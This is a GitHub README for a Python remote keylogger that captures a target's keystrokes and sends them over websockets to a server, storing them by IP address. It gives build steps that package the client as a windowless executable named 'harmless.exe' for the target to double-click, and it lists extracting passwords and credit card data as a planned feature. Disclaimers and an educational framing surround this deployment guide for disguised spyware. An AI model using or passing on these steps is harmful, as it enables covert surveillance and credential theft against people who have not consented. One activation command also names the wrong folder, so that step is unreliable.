A python script that simulates how a Key Logging tool works with the help of websockets and pynput libraries in python. It stores and shares individual key strokes made by the target and sends the data over to the server script running in the host system.
This project is for EDUCATIONAL AND RESEARCH PURPOSES ONLY.
-
Keyloggers can violate privacy laws (e.g., CFAA, GDPR, local regulations).
-
Do not use this on any system without EXPLICIT PERMISSION.
-
Unauthorized use may result in legal consequences.
✔ Only test on your own devices or legally authorized systems.
✔ Get written consent before deployment in any environment.
✔ Do not use for malicious purposes (e.g., stealing credentials).
- You are solely responsible for how it is used.
The developer is not liable for misuse.
- Captures key strokes of the target and send the data to the host's system.
- Stores data on the host device segregated by individual IP addresses.
Future scope: Scans the stored data and points out potential passwords, usernames, credit card info, etc.
- Python 3.7+
- Clone the repository:
git clone https://github.com/Manushya-a/Smart_Remote_Keylogger.git cd Smart_Remote_Keylogger - Create and use the a Virtual Environment:
- On Windows:
python -m venv venv .\venv\Scripts\activate pip install -r requirements.txt
- On Unix:
python3 -m venv venv source sheets/bin/activate pip3 install -r requirements.txt
- On Windows:
- Replace
Your.I.P.Addresswith your host system's IP in both the programme files - Make the executable file:
pyinstaller --onefile -w 'harmless.py' - You can find the executable file (
harmless.exe) inside the newly generateddistfolder
- On the host system:
python server.py # May have to use python3 if on Unix Environment - On the target system double click on the
harmless.exefile - Type some random text and when you want to end the capture click on the
Esckey. - Check the script running the
server.py
Listed in requirement.txt
- I was connected to a wifi network that had a firewall that was preventing the connection from the target outside the network. So this issue can be solved afterwards
- The data sent by the taget is not encrypted, so it will be exposed if the data is intercepted.
Going to use SSL-TSL to solve this in the future
For questions or issues, please open an issue in the GitHub repository.
This project was developed only for educational purposes and demonstrates WebSocket communication, async programming, and data processing in Python.